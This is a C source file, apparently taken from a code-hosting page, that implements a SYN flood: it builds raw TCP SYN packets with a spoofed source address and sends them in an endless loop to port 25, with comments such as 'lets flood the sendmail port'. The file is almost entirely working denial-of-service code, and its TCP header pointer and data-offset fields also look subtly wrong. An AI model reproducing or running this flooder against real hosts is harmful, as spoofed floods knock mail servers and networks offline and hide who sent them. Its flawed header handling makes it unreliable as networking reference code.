96 lines
3.4 KiB
C
96 lines
3.4 KiB
C
#define __USE_BSD /* use bsd'ish ip header */
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#include <sys/socket.h> /* these headers are for a Linux system, but */
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#include <netinet/in.h> /* the names on other systems are easy to guess.. */
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#include <netinet/ip.h>
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#define __FAVOR_BSD /* use bsd'ish tcp header */
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#include <netinet/tcp.h>
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#include <unistd.h>
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#include <string.h>
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#include <stdio.h>
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#define P 25 /* lets flood the sendmail port */
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unsigned short /* this function generates header checksums */
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csum (unsigned short *buf, int nwords)
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{
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unsigned long sum;
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for (sum = 0; nwords > 0; nwords--)
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sum += *buf++;
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sum = (sum >> 16) + (sum & 0xffff);
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sum += (sum >> 16);
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return ~sum;
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}
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int
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main (void)
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{
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int s = socket (PF_INET, SOCK_RAW, IPPROTO_TCP); /* open raw socket */
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char datagram[4096]; /* this buffer will contain ip header, tcp header,
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and payload. we'll point an ip header structure
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at its beginning, and a tcp header structure after
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that to write the header values into it */
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struct ip *iph = (struct ip *) datagram;
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struct tcphdr *tcph = (struct tcphdr *) datagram + sizeof (struct ip);
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struct sockaddr_in sin;
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/* the sockaddr_in containing the dest. address is used
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in sendto() to determine the datagrams path */
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sin.sin_family = AF_INET;
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sin.sin_port = htons (P);/* you byte-order >1byte header values to network
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byte order (not needed on big endian machines) */
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sin.sin_addr.s_addr = inet_addr ("127.0.0.1");
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memset (datagram, 0, 4096); /* zero out the buffer */
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/* we'll now fill in the ip/tcp header values, see above for explanations */
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iph->ip_hl = 5;
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iph->ip_v = 4;
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iph->ip_tos = 0;
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iph->ip_len = sizeof (struct ip) + sizeof (struct tcphdr); /* no payload */
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iph->ip_id = htonl (54321); /* the value doesn't matter here */
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iph->ip_off = 0;
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iph->ip_ttl = 255;
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iph->ip_p = 6;
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iph->ip_sum = 0; /* set it to 0 before computing the actual checksum later */
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iph->ip_src.s_addr = inet_addr ("1.2.3.4");/* SYN's can be blindly spoofed */
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iph->ip_dst.s_addr = sin.sin_addr.s_addr;
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tcph->th_sport = htons (1234); /* arbitrary port */
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tcph->th_dport = htons (P);
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tcph->th_seq = random ();/* in a SYN packet, the sequence is a random */
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tcph->th_ack = 0;/* number, and the ack sequence is 0 in the 1st packet */
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tcph->th_x2 = 0;
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tcph->th_off = 0; /* first and only tcp segment */
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tcph->th_flags = TH_SYN; /* initial connection request */
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tcph->th_win = htonl (65535); /* maximum allowed window size */
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tcph->th_sum = 0;/* if you set a checksum to zero, your kernel's IP stack
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should fill in the correct checksum during transmission */
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tcph->th_urp = 0;
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iph->ip_sum = csum ((unsigned short *) datagram, iph->ip_len >> 1);
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/* finally, it is very advisable to do a IP_HDRINCL call, to make sure
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that the kernel knows the header is included in the data, and doesn't
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insert its own header into the packet before our data */
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{ /* lets do it the ugly way.. */
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int one = 1;
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const int *val = &one;
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if (setsockopt (s, IPPROTO_IP, IP_HDRINCL, val, sizeof (one)) < 0)
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printf ("Warning: Cannot set HDRINCL!\n");
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}
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while (1)
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{
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if (sendto (s, /* our socket */
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datagram, /* the buffer containing headers and data */
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iph->ip_len, /* total length of our datagram */
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0, /* routing flags, normally always 0 */
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(struct sockaddr *) &sin, /* socket addr, just like in */
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sizeof (sin)) < 0) /* a normal send() */
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printf ("error\n");
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else
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printf (".");
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}
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return 0;
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}
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